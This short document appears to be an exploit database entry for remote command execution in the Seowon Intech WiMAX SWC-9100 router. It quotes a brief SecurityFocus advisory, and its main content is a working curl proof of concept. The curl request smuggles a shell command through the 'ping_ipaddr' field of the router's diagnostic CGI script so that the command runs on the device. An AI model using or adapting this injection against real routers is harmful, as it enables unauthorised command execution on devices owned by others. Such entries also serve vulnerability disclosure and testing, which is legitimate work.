Seowon Intech WiMAX SWC-9100 Router - '/cgi-bin/diagnostic.cgi?ping_ipaddr' Remote Code Execution

source: https://www.securityfocus.com/bid/65306/info
 
WiMAX SWC-9100 Mobile Router is prone to a security-bypass vulnerability and a command-injection vulnerability.
 
Exploiting these issues could allow an attacker to bypass certain security restrictions or execute arbitrary commands in the context of the device.
 
curl -v --data "select_mode_ping=on&ping_ipaddr=127.0.0.1>/dev/null; ls 
-lash /etc%23&ping_count=1&action=Apply&html_view=ping" 
"http://www.example.com/cgi-bin/diagnostic.cgi" > /dev/null